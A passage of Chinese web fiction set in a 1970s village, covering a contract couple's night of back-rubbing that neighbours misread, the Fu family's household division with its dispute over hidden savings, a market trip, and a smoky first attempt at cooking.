傅青山手背枕在脑后,受过专业训练的侦察兵在黑暗中听觉格外敏锐,后来谢晚棠不翻来覆去了,身体小幅度在炕上挪动,唇间不时泄出“嘶嘶”的声音。 傅青山又等了一会儿,身旁的人不仅没有睡着,反而动的幅度越来越大了。 “怎么了?” 黑暗中,傅青山突然一句话,身旁的人不知道是不是被吓到了,安静了一瞬,才叹了口气,语气委屈道:“后背疼。” 傅青山想起过晌他醉意迷乱时一个标准擒拿把谢晚棠压在炕上,刚好是后背着地。 “疼得厉害?” “你说呢!自己多大劲没数吗?”声音里明显带了怨念。 傅青山沉默半晌:“我看看。” 他对自己手劲有数,所以不放心。 确实太疼了,谢晚棠感觉这样疼下去,今晚都不用睡了。 而且在后边,她自己还看不见。 谢晚棠翻身坐起来:“要不你再给我弄个凉毛巾冷敷一下吧。” 下午那会儿冷敷手腕就挺好使,很快就消肿了。 傅青山起身下炕,拿了火柴点上蜡,刚点着的烛火忽大忽小,傅青山拿手护了下:“我先看看。” 烛光闪动,傅青山垂眸。 傅青山只穿了裤子,上身光着膀子,结实的肌肉线条在烛光下透着一股挑逗的欲。 但是暖色光影里那双狭长的凤眸里却没有一丝情。欲,清冷得像看兄弟一样纯洁,让谢晚棠下意识褪去防备。 “哦。”谢晚棠背过身去,把外衣脱了,露出受伤的后背给傅青山。 烛光轻轻晃动,连带着眼前大片皮肤和修长的蝴蝶骨也跟着光影忽明忽暗,一晃一晃地像在跟他招手。 傅青山下意识低头,想要避开视线,却刚好落在肚兜的系带上,在那纤细轻盈的腰肢上松松系了个蝴蝶结,腰间那柔和的曲线随着呼吸的起伏微微颤动。 “怎么样?”谢晚棠半晌没听到动静,回头问。 傅青山回过神来,在谢晚棠询问的视线中,薄薄的唇抿成一条平直的线,端着蜡烛靠近一点,她的皮肤很薄,两侧蝴蝶骨凸起的位置映出一大片紫。 傅青山:“有淤血。” 谢晚棠惊,想回头看却看不到:“那怎么办?!冷敷行吗?” 居然都淤血了!她就说怎么会疼得受不住呢! 傅青山摇头:“已经紫了,我给你用药酒搓一下好得快。” 傅青山举着蜡烛照明去下边找药酒,瓶口一打开,刺激的味道直冲鼻腔,谢晚棠忍不住咳嗽了好几声,捏着鼻子忍了,半晌却不见傅青山动静。 谢晚棠回头…… 傅青山:“有点疼。” 谢晚棠深吸一口气,仿佛扛着炸药包要去炸碉堡:“来吧,长痛不如短痛!” 强撑起来的坚强在傅青山的大手搓上来的第一下就破了防:“啊————疼疼疼疼疼!!!!!” 傅青山的手硬得像铁钳子似的! 这哪是有点疼,这是用铁钳子夹她的肉啊,简直就是酷刑! “那还要吗?” “你轻点!” “我没使劲。” “……那就再轻点!” 傅青山抿唇,抬手覆上那娇软细嫩的蝴蝶骨,温凉娇嫩的皮肤犹如最上乘的丝绸滑过他粗糙的掌面,伴随着难以压抑的痛呼声在他掌心里抖动着,撩动着他压在心底最深处的神经。 比起给战友们搓伤,他自认为已经轻了10倍还不止,但手下的人还是疼得直哆嗦。 “啊!轻点轻点!!疼疼疼!!!” 随着谢晚棠忽高忽低的呼痛声,傅青山的心跳也跟着忽上忽下,好像悬在半空中,落不到实处,说不出来是个什么滋味。 本来5分钟就能搓完的伤,因为谢晚棠实在是太不吃劲,搓搓停停,接近半个小时,蝴蝶骨处那两片青紫处才热乎起来。 谢晚棠动了动肩膀试了试,惊喜道:“真的不怎么疼了!” 傅青山长舒一口气,刚要收拾东西,谢晚棠趴下:“腰也疼。” 傅青山抿唇,只得再继续给谢晚棠揉腰。 腰上的皮肉更娇嫩,谢晚棠疼得一直叫,叫得他心头好像堆了一团乱麻线,说不清是个什么滋味。 等到谢晚棠腰也舒服了,傅青山身上出了一层薄汗,他把药酒收拾了,出去洗了手,又压了井水冲了凉。 傅青山带着一身微凉的湿气回来,谢晚棠已经睡熟了,烛光下一双长睫像密密的小森林,柔美安静。 正屋就两间,傅老汉傅老太和傅青宁住东间,傅大哥傅大嫂他们住西间,傅老三一家住南屋。 南屋紧挨着傅青山这边,傅老三和媳妇一晚上听得清清楚楚,连最后结束了二哥出来打水的声音都听见了。 从开始到结束,少说也有一个小时,更别提二嫂全程呼痛的叫喊声了。 傅老三奇怪:“不是都说二哥那里受伤了不行嘛?” 媳妇嫌弃地瞥了他一眼:“二哥不行都一个多小时,你还不如你二哥。” 不怪老三媳妇嫌弃,人家东屋那小两口回来就开始了,他们没条件,只得等俩孩子睡着了才偷摸开始,结果他们这边结束了,东屋那边听着还激烈着呢! 傅老三从小就什么都不如二哥,男人这事上是他在二哥那里最后的骄傲:“你个傻婆娘懂个屁!二哥他就是不行才这么久的!” 老三媳妇啧了声:“人家行不行的也伺候了媳妇那么久!” 人和人真是没法比,老三媳妇由房事不由得又联想到晚饭的时候,更是一肚子邪火:“你看看二哥,自己都不坐也得让媳妇坐,你呢!我嫁到你们老傅家这些年,给你生儿生女,你什么时候心疼过我!你比你二哥真是差远了!” 傅老三不知道怎么又扯到吃饭的事上了,还给他盖了个比二哥差远了的大帽子! 傅老三不耐烦道:“行了行了,以后分了家你不就不用站着吃饭了!” 提到分家她更难受,那还不如让她站着吃饭呢! “可分了家也花不着你二哥的钱了!就凭你挣那点公分,玉米饼子都吃不上!我当初怎么就瞎了眼嫁给了你!”越说越气,说着说着就开始打傅老三。 傅老三真是头都大了,抱着膀子哏哒着翻了个身背对着媳妇道:“行了行了!快睡吧!” 她气得也背对着傅老三,一眼都不想看他! 傅青山熄了蜡烛躺下,身旁轻柔的呼吸声钻入耳廓,勾起掌心曾划过里的柔软记忆,挑动着他周身的血液再度躁动不安,像猛兽嘶吼着要冲破牢笼。 第19章 分家! 谢晚棠睡了个好觉,一觉起来,神清气爽,背上腰上真一点都不疼了! 傅青山不在炕上,谢晚棠踩上鞋下炕,看到傅青山坐在当门,钱和红纸摊在她陪嫁来的樟木箱上,傅青山一边在红纸上划,一边往外点钱。 “早。” 傅青山闻声抬头,怔了怔,“早。” 谢晚棠不知道傅青山什么时候起的,不过看他这收拾齐整的样子,估计是挺早的。 昨晚那么晚睡,今天还起这么早,大佬果然都精力旺盛呢! 谢晚棠洗漱完回来,傅青山已经把爹娘那边的份子钱都分了出来,还给重新抄了一份名单放在一起。 谢晚棠连傅家的亲戚都认不全,也不去管这些,结果傅青山把她叫到炕那间,把一摞五毛一块的份子钱和红纸给了她。 又当着她的面,伸手从衣柜最上边拿下来一个旧铁盒,打开里边竟然有一小摞大团结,少说也有十来张,还有一些零钱和票,一并也给了她。 谢晚棠…… 傅青山:“暂时就这些,你收着*家里用,以后每个月发了工资我也拿回来给你。我跟支书申请了房场,还得等些时候,到时候我再想办法,盖个大点的房子。” 谢晚棠没想到傅青山居然这么相信她这个合约对象,把家里的经济大权全部交给了她。 一想到昨晚傅老太还讽刺她不会过日子,谢晚棠当即拍胸口道:“你放心!我一定让咱家的日子过得红红火火!” 气死正屋那些想看他们笑话的人! 谢晚棠把钱和票都收好,傅青山拿上给爹娘的份子钱,俩人一块去正屋吃早饭。 傅老太收到份子钱的时候并不开心,她本来可以拿到全部份子钱,还可以攥着二儿子的全部工资,都是因为谢晚棠,二儿子竟然跟她生了二心! 一想到这,傅老太再看谢晚棠的眼神犹如蛇蝎,恨不得抽谢晚棠的筋,喝谢晚棠的血! 有了傅青山昨晚的护妻行为,傅青宁今天都没来东间,直接去西间和孩子一起吃去了。 去那边她还能称王称霸地多吃点好的,来东间就只有受气的份! 因为吃完饭就要分家,一大家子吃饭都提不起劲。 谢晚棠昨晚又疼喊得又累,体力消耗了不少,马上又要开始新生活,摆脱这些吸血鬼,心情好,吃得反而最香最多。 傅大嫂和老三家的对视一眼,大庭广众的没说出来,但互相都心照不宣,看来老二家的昨晚是真累着了啊! 难道那里伤着了,反而有个更持久的好处吗? 吃完早饭,傅青山去找支书,谢晚棠帮着傅大嫂和弟妹把饭桌收下去,没过多久,支书傅余年就跟着傅青山过来了。 谢晚棠礼貌地打招呼,傅余年一见谢晚棠就想到昨天过晌撞见的不该看的一幕,虽然他当时没看到谢晚棠的脸,但这会儿和侄媳妇见面,还是觉得有点尴尬,点点头赶紧上炕坐下。 一见着傅余年,傅老太就开始哭天抹泪:“大哥,你说真是让你笑话,才结婚第二天就分家。” 傅青山去找他说要分家的时候,虽然没说具体原因,但一个村里住着,堂弟家那点破事,傅余年哪能不知道。 傅余年坐在炕上,敲敲烟袋锅子:“儿孙自有儿孙福,老二家那么些孩子,确实也挤不开,早点分出去,都利索。” 作为堂哥,傅余年就算知道弟妹是个什么人,也还是给她留了面子。 傅老太当着谢晚棠的面抹眼泪:“我就是心疼那几个孩子,老二家的这才嫁过来,跟孩子不熟,她才比兰兰大6岁,比大刚大7岁,怎么能会当妈呦!” 谢晚棠:“……” 照她这么说,那傅青山得找个40的媳妇,来了就会当后妈。 傅余年本来不想戳破那层窗户纸,但听着傅老太这一通假惺惺的说辞,实在忍不住,直接道:“以前老二没娶媳妇的时候也没见你心疼那几个孩子,我看你不是心疼孩子,是心疼老二的钱吧!” 谢晚棠心里给支书大爷竖起大拇指:大爷,会说就多说点! 傅老太也没想到堂哥当着这么多小辈的面会说得这么直白,脸刷一下通红,还想辩解,傅老汉皱眉瞪她一眼,她只得闭了嘴。 这年头物资匮乏,分家也简单,找傅余年过来主要是当个见证人。 分家首先要分灶,东屋有个烧炕的锅,可以直接用,不过没有盆碗,按人头从正屋这边给分7个碗,7双筷子,2个盆,1个面缸。 接下来是分粮食,傅老太一口咬定,粮食就剩厨房那些。 傅余年看了一眼:“你们家就这点粮食?” 傅老太又开始哭丧个脸抱屈:“大哥,你们家没那么多孩子,不知道这孩子多了吃饭的时候比着有多能吃!这些还是我省吃俭用省下来的呢!” 傅余年一听这哭腔就烦得直皱眉头,让傅大哥上秤打了,按照4份分开,分给谢晚棠她们3斤二合面,4斤玉米面,8斤瓜面,2个鸡蛋,1斤油,15斤土豆。 这年头两个人头可以养一只鸡,但一家最多可以养五只,傅青山分出去,傅老太这边还有12口人呢,是以傅老太这边一只都不想给,要是给了她还得再花钱去买呢! 傅余年才不听她叨叨,直接在分家单上给傅青山记上1只鸡。 家把什分了一把铁锨、一个提篮。 最后最重要的就是分钱,老太太咬定了家里统共就80块钱,按份分给老二20块。 别说谢晚棠不信,傅余年都不信,看向傅青山:“青山一个月往家交多少工资?” 傅青山:“50。” 傅余年懒得跟油滑的弟妹叨叨,直接问堂弟:“之前在部队的就不提了,光青山转业回来也有四年多了,每个月50都花了?” 说出来鬼都不信! 傅老汉昨晚就被老婆子拽到茅房去嘱咐了钱的事必须咬死了,可支书堂哥一问,傅老汉一下子就紧张得结巴了:“是,是,是吧,老婆子?” 傅老太气得翻白眼:“怎么着?我还能落下老二的钱?!还不是都花在他那几个孩子身上了!都没养养试试!以为五个孩子好养啊!” 傅老太一副理直气壮的样子,偏家里要么是闷罐,要么是怕她,没个说话的,傅余年一个堂哥也不好跟弟妹来回扯皮,传出去让人笑话。 谢晚棠可不惯她这赖皮样子,笑意盈盈:“没想到养孩子这么费钱呢,看大刚兰兰他们穿得衣裳都破破烂烂补丁摞补丁的,一个个看起来也没什么肉,不知道的还真以为娘苛待孩子,把青山哥的工资都眯下了呢。” 谢晚棠看似温温柔柔一席话,直接把傅老太的黑心和违心扎了个对穿。 傅青山面无表情,剩下一家子被谢晚棠点的面上都贼尴尬,傅余年倒是气顺了不少,侄媳妇说出了他想说却没法说出口的心里话! 傅老太差点被谢晚棠噎死,谢晚棠看似顺着她说,实际每一句话都在刺她就是眯下了钱。 傅老太哼了声:“老二家的,你这是什么意思啊?不相信娘呗,行啊,你要是能翻出来哪里有钱今天就分!” 她不信谢晚棠敢翻她的家! 谁家的儿媳妇敢翻老婆婆的屋!借她两个胆! 傅老太正得意呢,二刚探头探脑地进来,举手,声音铿锵有力:“我知道俺奶奶的钱藏在哪儿!” 二刚一句话,就像一块大石头扔进了小水缸,别说水炸不炸了,缸都要炸了! 说话间,一炕的人还懵逼中,大刚已经抱起二刚,走到大衣柜那儿,二刚扒着柜子顶沿使劲伸手往里够,扒拉出来一个不起眼的小木匣子。 “我的钱——” 傅老太回过神来要冲下来抢,二刚小手已经摸索到弹力锁鼻,啪一声,弹开了小木匣,一厚摞大团结没了木盖压着,直接冒了出来! 少说也得有几十张! 傅老太跌跌撞撞地冲下来,被傅青山一把扶住坐回炕上,眼睁睁地看着二刚把匣子交给了傅余年。 傅余年放下烟袋,拿出来一点,足足有1000块钱! 1000块钱什么概念!下沟村一个成年劳动力干一年也就能拿回来十多块钱,1000块钱得不吃不喝攒一辈子! 傅余年一抬头就看到大刚和二刚的一身破布丁,更觉着自己这个弟妹真是个黑心肠子!青山每个月拿回来这么多钱,她连身新衣裳都不舍得给孩子做! 老大和老三两家光知道老二每个月往家交钱,家里吃得也比村里一般人家好,除了傅青山带回来那几个野孩子,他们平常都是吃二合面饼子,但不知道婆婆手里居然还藏了这么多钱! 刚才婆婆可说了要是能找出来钱今天就分了,老三家的心眼子多,眼珠子转了转一算,1000块钱分4份也能分250呢! 那她为什么不分家!钱放在老太太手里,她可捞不着花! 老三媳妇直接道:“大爷,我们也想分家,趁您今天在,就一起给我们分了吧,也省得再跑二趟。” 傅老太本来因为要给老二分出去250块就心疼得要死了,一听老三家的又要来分走她250,气得差点昏死过去,指着老三骂:“你媳妇不孝,你还不给我教训她!” 夫妻能过到一块去肯定是一类人,傅老三的心眼子也不比媳妇少,之前觉得就算二哥分出去了,他不爱费力,跟着大哥也能混点好处。现在只要分家就能分到250,这好处太大,他现在心里头也只想分家! 傅老三一脸体贴样:“娘,大爷说得对,索性分了利索,不然大人孩子都捞不着一个炕吃个饭。” “你——”傅老太气得指着老三半天骂不出来,眼看着500块钱就这么飞了,她眼珠子一转,猛地看向老大家,见老大媳妇也有意动,直接截断了老大家的后路,“那就把老大家留下,总不能都分出去不管爹娘了!” 要是再分出一个250,能要了她的老命! 老大媳妇正犹豫着要不要也跟着分家,就被婆婆一口堵死了,脸一下子就拉了下来,但又买办法,谁让他们是老大呢,真有一口咬了个苦瓜! 傅余年是老支书了,什么事没见过,老三家的突然要分家是为了什么,简直是秃子头上的虱子,清清楚楚。 老大人老实,老二能吃苦,就这个三侄子从小就心眼子多,偷奸耍滑,越大越厉害,真是贪小便宜没个数了! 傅余年敲敲烟袋锅:“既然老三也想分,那就一块分了,省得以后再弄出些琐碎麻烦。” 老三和老三媳妇异口同声:“好!” “那就先分钱,远的分不明白了,就从青山转业回来开始算。” 傅余年拿出算盘噼里啪拉一边算一边道:“村里一个男劳力一年按10块钱,女劳力按5块,孩子按2块,就算花二存一,老三家一年进19块,去掉花销剩6块3毛,4年记上零头,算是25块3毛。” “老大家和公婆小姑子一起算,2个男劳力,2个女劳力,3个孩子,一年进36块,4年净剩48块。” 傅余年在分家单上清清楚楚地记下来,从傅老太最开始拿出来的80块钱里,拿了48块给傅老汉,又拿了25块3毛给了傅老三,然后把剩下的6块7连同小木匣子里的1000块都给了傅青山。 傅青山接过来,转手就交给了谢晚棠。 谢晚棠没想到自己给自己找的老公竟然这么有钱! 1000块啊! 这个年代的1000块钱,应该比21世纪的10万都值钱吧!不,应该至少和50万对等! 而且在这个物资极度匮乏的年代,手里有1000块钱可比几十年后有50万幸福多了! 有人欢喜有人恼。 傅老太、傅青宁和老三媳妇愣了片刻,反应过来后当即就炸了,傅老汉和傅老三也坐不住了,傅老大和傅大嫂也是一头雾水。 老三媳妇不满,指着谢晚棠:“大爷!不是说了分家一分四份嘛!这是怎么回事?” 傅青宁也炸毛:“大爷你这咋么算的嘛!凭什么二哥分1000多我们就几十块钱!” 傅老太本来被分出去500就够心疼的了,这一分直接丢了1000,急得快昏过去了:“大哥,分家哪有这么分的!” 傅余年作为支书,为人向来又公正,在村里很受人尊重,主持过村里很多人家分家,办事向来有理有据,面对这一群人质问也不着急,有条有理地解释: “青山的工资交到家里,是分担他和他5个孩子的口粮吃食的,他有养老的责任,但没有养哥哥弟弟妹妹的责任,而且家里跟着青山的工资沾光,平日里吃的已经在村里都数得上了,分家的时候,自然不能再全家都去平分他的那部分,该是谁的就是谁的。” 无论是作为长兄还是支书,傅余年说话都是很有份量的,而且他把理说得死死的,谁也没法反驳,确实那1000都是傅青山一个人挣的。 傅老太眼看着傅余年在分家单上都写好,气得死死地瞪着谢晚棠,恨不得用眼把谢晚棠手上的钱都吸过来!!! 傅老三和媳妇怎么也没想到,分钱居然是这么个分法! 本以为可以分250,结果就分了25! 分完钱,又分上养老份例,最后给傅老三跟傅青山一样也分上粮食、锅碗瓢盆和农具。 分粮食的时候,老三家的直接去傅老太的柜子里提出来两袋子二合面,一袋子玉米面,还有一小篮鸡蛋! 谢晚棠一看,呵,果然是婆媳之前合伙把家里的粮食藏起来了! 傅老太气得手都哆嗦,老三家的都分了家了,哪里还搭理她,直接让支书大爷把这些也分了。 傅余年真是服了!无语地翻了个大白眼。 他就说家里不可能就之前那么点粮食!一个个的都在这跟他狗精神! 于是谢晚棠又跟着分上了30斤二合面,15斤玉米面,外加3个鸡蛋。 最后照着分家单往回分东西,傅老太挺着一口气从炕上爬下来,亲自来分! 给谢晚棠分上2个破盆,7个破碗,7双黑乎乎还长短不一的筷子,面缸挑了一个最小最旧的,鸡挑了一只最老弱病残,快要下不了蛋的。 谢晚棠也懒得跟她计较,反正她现在有钱,想买什么好的买不到。 分完家,谢晚棠拿着钱,傅青山端着锅碗瓢盆,大刚拎着粮食,二刚扛着铁锨,小刚提着篮子,兰兰一手拎着鸡一手领着兰兰,大队伍浩浩荡荡地回了东屋。 谢晚棠先去炕间把钱放好,加上之前傅青山给她的,有接近1200块了,这个年代家里放着一千多块钱,简直是巨款! 傅青山有两天婚假,今天还可以在家歇一天。 谢晚棠不放心:“等收拾完我们去把钱存上吧。” 傅青山点头:“今天正好有大集,一会儿看看缺什么记上,顺道也买着。” 谢晚棠面上一喜:“这么巧!那快收拾吧!” 盆碗的破她也就忍了,那些跟长毛了似的筷子她是真忍不了! 她在屋里,几个孩子就站在院里都不进来,刚才在正屋那边还能一致对外,现在回到小家来,内部的矛盾马上冒头。 对她这个后妈还是有很大的敌意。 分家分回来的东西也都放在院里,又站了大大小小5个孩子,原本空荡荡的小院一下子有些拥挤起来了。 谢晚棠也不去热脸贴冷屁股,自己先收拾清点着屋里的小件。 结婚前,傅青山买了一个脸盆,一个暖瓶,还有两条手巾,昨天结婚,支书家又送了一个脸盆,一条手巾,家里原本还有一个瓷都碰掉了的破脸盆。 谢晚棠自己得用一个,兰兰和妞妞女孩子,不能跟那些男孩子混着用,也得单独一个,傅青山就和三个刚一起用一个。 另外洗脚的也得单独一个,谢晚棠决定再买一个新脸盆,把那个破脸盆降级为洗脚盆。 暖瓶和手巾刚好够用,先不用买。 只有炕上有个老旧的小炕柜放着一家人为数不多的衣服,炕前就是几个临时用木头定的桌子放东西,谢晚棠的衣服鞋和没用完的布料没地方放,计划着再买一个衣柜。 谢晚棠开干的时候,傅青山也不闲着,把大刚叫进来帮他一起抬箱子。两人把炕前的两张破桌子搬了出去,腾了地方出来,把两个樟木箱子和缝纫机归置进去,收音机没地方放,就暂时放在缝纫机面上,原本陈旧的小房间因为添置进来这几个崭新的大件,一下子就亮堂起来了! 几个小的跟在后边看着,眼睛都跟着亮了起来,看到了美好生活的希望,大的小的都一身干劲,争先恐后地帮忙。 二刚和小刚帮着姐姐把院子里分的粮食鸡蛋和锅碗瓢盆都拿进来,因为就分到一个小面缸,只能装的下最少的那袋瓜面,从炕那间被清理出来的破桌子被兰兰征用一个擦干净,暂时把玉米面和二合面袋子放上面。 妞妞把分的5个鸡蛋一个一个拾进篮子里,也放到桌上。 “啊!这鸡满院拉屎!”二刚大喊一声,跑院里去抓鸡,整个一个鸡飞狗跳,惹得大家都放下手里的活出来看他。 别看二刚干瘦,身体特别灵活,还很聪明,用大笤帚把鸡逼到墙角,一把逮住翅膀:“看你还往哪里跑!” 傅青山站在家门口:“等着得钉个鸡栏围起来。” 兰兰找个根绳子,先把鸡腿绑着拴在院里,起码先别到处跑着拉屎。 看到鸡谢晚棠想起来,还得买三只小鸡,傅老太给这只老母鸡已经老了,下蛋是不能指望了,炖了吃了倒是可以考虑,也算是庆祝新生活的开始! 谢晚棠又到锅台旁边数了数厨具,面缸得再买一个大号一个中号的,饭帚也得买一个刷锅,筷子必须买,大大小小的菜盆也得在填几个,碗也再添几个新的,菜刀菜板也没有,还有调料也得买,仔细一数,要买的东西还不少来! 谢晚棠在厨房里细数要买的东西,兰兰他们几个又去院子里了,宁可看鸡也不看她。 “……” 谢晚棠算是看明白这几个小孩反抗她这个后妈的方式了,不跟她说话,甚至不跟她呼吸同一片空气,无声的反抗,俗称冷战。 以前听姐妹说臭男人冷战的时候那个死样子,她都觉得烦气死。 可当几个小萝卜头试图冷暴力她的时候,她不但不生气,竟然觉得还挺好玩的,起码说明这些小孩心地还不坏,没有给她使些阴损的坏招,只是互相还不了解,小孩们对她不信任。 信任这事急不得,日久见人心,孩子们只是小但并不傻,有眼睛会看,有心会去体会。 收拾完快9点半了,她和傅青山要存钱,存完还得去赶集,午饭肯定是赶不上回来吃了。 今天分家可是彻底把那边惹恼了,想让他们帮着照看一下孩子的午饭是不可能了,谢晚棠的人生准则向来是万事不求人,把箱子里的半包桃酥,半包小麻花拿出来,让傅青山把兰兰叫进来。 傅青山一叫,兰兰就进来了,不过看了她一眼,视线马上就避开了。 傅青山把两包吃的给了兰兰:“我和你娘要去赶集,中午赶不回来,你中午带着弟弟妹妹先吃点酥货垫垫,晚上回来再做饭。” 兰兰惊讶地抬头看谢晚棠,那眼神好像很奇怪她这个恶毒后妈为什么会同意爹把这么些好东西都给他们! 谢晚棠第一次深刻体会到了刻板印象的厉害! 社会对后妈的恶意真的好深呐! 谢晚棠把钱装好,1000块钱存上,剩下的200留着家里日常用。 傅青山带着谢晚棠去支书家开了介绍信,两人先去镇上的人民银行存上钱,然后去赶集买东西。 这个年代不允许私人买卖,但是一个月有两次大集,每个村可以以大队的名义,统一来城乡结合部的大集卖东西,可以卖一些手工艺品,也可以卖大队里产的富裕的瓜果蔬菜等等。 既能缓解城市居民票证的紧张,又能给村里提供致富的途径。 谢晚棠和傅青山到集上的时候正是镇上中午下班的高峰时段,集市上人来人往,熙熙攘攘。 谢晚棠对大集的印象还停留在小时候在姥姥家,过年的时候,姥爷就会带她一起去赶大集置办年货,那时候集上也是特别热闹,她最愿意去赶集了。 忙活一上午实在是饿得不行,谢晚棠闻到烧饼的香味,胃强烈提出进食的抗议,两人买上8个烧饼,傅青山两个她一个,剩下5个带回去晚上给孩子们吃。 吃饱了有劲了,开始今天的采买大业! 谢晚棠在前边挑东西付钱,傅青山跟在后边拎,不一会儿傅青山手里也放不下了,买上衣柜和桌子,傅青山把手里的东西暂时都放在卖家具这边,又跟着谢晚棠继续往前走。 一直到下午两点多,要下集了,两人才买齐全。 除了3只小鸡,谢晚棠还买了3只小鸭,不过这些小鸡小鸭要长大才能下蛋,还得一段日子呢。 7口人,统共就分了5个鸡蛋,连每人每天1个鸡蛋的蛋白质要求都达不到。 不过好在卖鸡鸭的这里也卖蛋,现在天热,谢晚棠怕坏,先买上30个鸡蛋,一周之内吃掉肯定没问题。 卖鸡蛋的一上午也没遇到这么个大客户,看谢晚棠没东西装,还大方地送了谢晚棠一个手编篮子提着鸡蛋,谢晚棠最喜欢这种老手艺人自己编的手工艺品了,高兴地谢过老板后提着一篮子鸡蛋和傅青山回卖家具的那里。 卖家具的大队就在下沟村邻村,谢晚棠她们买得东西又多,社员大哥主动提出可以帮他们都运回去,反正家具卖出去了,回程的车也空了,正好有地方。 谢晚棠感慨这个年代真是民风淳朴啊! 因为拉着些陶瓷的盆盆碗碗,驴车也不敢赶快了,赶车的社员大哥常出来给大队卖东西,性子也外向,路上跟谢晚棠聊起天来。 至于为什么只跟谢晚棠聊,因为傅青山不说话,连社牛大哥也休想撬开他的嘴分毫。 “你们是刚结婚的小两口吧?” “嗯,是呀。” “一看就像,男的好看女的俊,配得很配得很!” “哈哈谢谢大哥夸奖!” “你们这是刚分家?” “对啊。” “挺好挺好,能买这么多东西,一看条件就不错,等着再生几个大胖儿子!” “……” 一波催生来得猝不及防,别说她和傅青山是合约夫妻不存在生大胖儿子的事,就算是前世,她也还没考虑过生孩子的事。 她倒没有丁克的思想,只是觉得生命中还没有遇到一个男人值得她放下事业,为他走入婚姻,生儿育女。 一提到儿子,社员大哥眉飞色舞地讲起来他儿子的趣事,谢晚棠跟着听得津津有味,讲着讲着又不忘回到催生主题:“孩子越多越好,我看你们俩身体都不错,生个四五个没问题!” “……” 就算她和傅青山不是合约夫妻,也不能再生四五个啊!那家里直接就能组起来一个足球队了! 接下来一路社员大哥都在津津乐道地聊孩子话题,谢晚棠只礼貌地点头笑着听着,心里想的是——家里那五个就够她弄的了! 快要秋收了,这两天地里反而不怎么忙,大家早早就下工了,回家路上碰到傅青山骑着自行车带着谢晚棠,后边还拉着满满一大车的东西,看着都崭新崭新的! 早晨傅家分家谢晚棠分了1000块钱的事早就在村里传开了,再也没人笑话谢晚棠倒追男人了,如果再有一个这样的男人摆在面前,她们只会追得比谁都快! 那可是1000块钱啊!一辈子也攒不了1000块钱啊! “我听他们屋后的小媳妇说,谢晚棠叫了大半夜呢!这么说傅青山也不是不行啊!” “也不好说啊,我听老一辈说,以前清宫里的大太监也在宫外养女人,他们那方面不行,就特别变态想尽法子折磨女人,女人也是被折磨得夜夜惨叫!” “可我看谢晚棠也没什么伤啊,她还笑呢,没看出被折磨的样。” “没准都在看不见的地方呢!” …… 谢晚棠没听到村里女人的议论,她现在只觉得头嗡嗡的,脑袋里全是社员大哥强行灌输进来的生孩子!生孩子!生孩子! 社员大哥还特别好心地帮着把车上的东西卸下来,直到和傅青山一起把他送到胡同口看着他驾车离去,谢晚棠才长舒一口气。 谢晚棠看着全程面无表情的傅青山:“有时候还是你这种惜字如金的好。” 傅青山不解地看着她。 谢晚棠耸耸肩:“不用被催生啊!” 傅青山闻言,看向她的眸光微动,最后还是惜字如金,啥也没说。 谢晚棠倒也习惯了傅青山的嘴只谈正事,并不在意,心里已经开始计划新家的第一顿大餐了:“分那只老母鸡也不能下蛋了,养着也是费粮食,不如晚上用土豆炖了,锅边糊上二合面饼子怎么样?” 想想就流口水! 穿过来快半个月了,就昨天中午吃了傅青山给她弄那半碗清水煮肉算是荤腥,肚子里真是被蔬菜粗粮刮得干干净净,一点油水也没有。 以前寒暑假去姥姥家的时候,姥姥就是这么炖鸡的,她在旁边看着都学会了! 炖鸡就得农村大锅炖了才入味,后来妈妈在家用煤气灶炒锅炖出来的,就完全不是一个味。 而且鸡也是纯农家养的溜达鸡,简直完美! 傅青山:“你说了算。” 谢晚棠撸起袖子,斗志昂扬,她既有钱又有条件,且看她这个21世纪业余十级美食鉴赏家轻轻松松玩转70年代吧! 谢晚棠逻辑清晰安排分工:“那回去我先烧水和面洗土豆,你杀了鸡烫烫毛收拾干净剁好,咱们就下锅开整!晚上吃大餐庆祝我们新生活的开始!让孩子们都好好开开荤!” 夕阳西下,橘色调的暖光洒落在谢晚棠的发梢肩头,像是画里的人儿一样。 傅青山看着她那充满希望的笑容,心头也跟着从未有过的轻快起来。 他点头:“好。” 今天采买了这么一大车,才花了不到50块钱,谢晚棠不得不再次感慨物价的淳朴。 如果不是盖房子要花大头,现在他们手上的钱,足够一家人衣食无忧了。 谢晚棠回家放好存折和剩下的零钱,就去给大锅里添上水,准备生火烧水给傅青山先秃噜鸡毛用。 傅青山去门口杀鸡,老三媳妇出来泼水,正好看见了,眼瞪得老大:“二哥,你们这是要杀鸡吃?” 傅青山感觉这话实在是明知故问,也没抬头,专注手上的刀,不冷不淡地嗯了声。 老三媳妇看着那鸡就拖不动腿,二哥不是个爱聊天的人,她站了一会儿,二哥也不理她,老三媳妇咽了口唾沫,最后一步三回头地那些盆回去了,一回去对着傅老三又是摔饭帚又是扔笤帚: “同样分家,你看人家谢晚棠,一分家就炖鸡吃,我呢!跟着你个没用的东西,一辈子也享不了福!” 傅老三无端被打,本来正烦,一听二哥家要吃鸡,眼睛一转:“那咱晚上也别做饭了,咱也跟着二哥家去吃鸡!那么大一只鸡,他们肯定也吃不了!” 老三媳妇听傅老三这么说,一下子高兴起来,可一想到谢晚棠那个脾气,随即又有点担心:“可你二嫂能让吗?” 傅老三哼了一声:“分了家那也是我二哥做主,我还怕她一个外人?笑话!” 老三媳妇一想也是,谢晚棠在外边再厉害再泼辣,回家也是花男人的钱,那自然就得听男人的话。 傅青山杀了鸡放了血,等谢晚棠烧水的工夫,先把抬出来的旧木头桌子拆了,在墙旁钉鸡栏和鸭栏。 看着简单,实际做起来挺废工夫,傅青山叮叮咣咣好久,才把两个栏钉好,刚要把鸡鸭放进去,听到家门咣一声推开,他闻声抬头,就看到谢晚棠咳得两眼通红,从烟雾缭绕里时不时探出头来喘气。 身后大门也同时推开,几个孩子一回来就懵了,只见家里浓烟滚滚,后妈的身影在浓烟里若隐若现。 二刚震惊地瞪大眼:“爹!咱家起火了?!” 第20章 不断撩拨着,一点一点搅乱他的心跳。 家门打开后,呛人的浓烟争先恐后地冲出密闭的小空间,迅速在院子里弥漫开来。 傅青山只怔了一瞬,迅速放下手中的活起身,长腿大步迈开几步走过去。 谢晚棠之前一直关着门,屋里的浓烟呛得人睁不开眼。 傅青山屏住呼吸,抓住谢晚棠的手腕把她拉出去,然后自己进去先打开后窗通风,又拿烧火棍把灶膛里堵得满满的柴火掏出来一半多,一边拉风箱,一边拨弄着灶膛里的干柴,很快便引起火来,灶膛也不再往外倒烟。 谢晚棠呛得来到院子里也咳嗽个不停,眼睛被烟熏地控制不住地流眼泪,半眯着眼睛快步走到井边,伸手从水桶里捞出干净的清水洗了好几遍眼睛,流泪的情况才稍有缓解。 